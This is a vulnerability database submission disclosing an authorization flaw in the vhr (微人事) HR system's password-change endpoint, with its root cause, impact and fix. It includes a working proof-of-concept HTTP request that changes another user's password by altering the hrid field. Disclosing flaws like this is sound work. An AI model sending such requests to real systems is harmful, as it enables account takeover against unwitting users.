Submit #892901: lenve vhr 1.0-SNAPSHOT Improper Authorizationinfo

Titlelenve vhr 1.0-SNAPSHOT Improper Authorization
Descriptionvhr(微人事) — IDOR in PUT /hr/pass (VHR-VULN-009) Product: vhr(微人事) 1.0-SNAPSHOT CWE: CWE-285 Classification: Improper Authorization === ROOT CAUSE === `HrInfoController.updatePass()` — no `hrid == currentUser.id` check. === REPRODUCTION === `hrid` parameter is not bound to session user; attacker changes any user's password if old password known. PoC: PUT /hr/pass HTTP/1.1 Host: TARGET Content-Type: application/json Cookie: JSESSIONID=SESSION_LIBAI Connection: close {"hrid":3,"oldpass":"123","pass":"IdorPoc456!"} Expected: {"status":200,"msg":"更新成功!"} === IMPACT === Account takeover when default/weak passwords exist (chains with VHR-VULN-008). === FIX === Ignore client `hrid`; use authenticated principal id only.
Source⚠️ https://github.com/ArrestX/vhr-advisories/blob/main/advisories/VHR-VULN-009-password-change-idor.md
User
 Anonymous User
Submission07/16/2026 13:49 (2 months ago)
Moderation09/12/2026 10:24 (2 months later)
StatusAccepted
VulDB entry403087 [lenve vhr 1.0-SNAPSHOT Password Update /hr/pass HrInfoController.updatePass hrid improper authorization]
Points20

Might our Artificial Intelligence support you?

Check our Alexa App!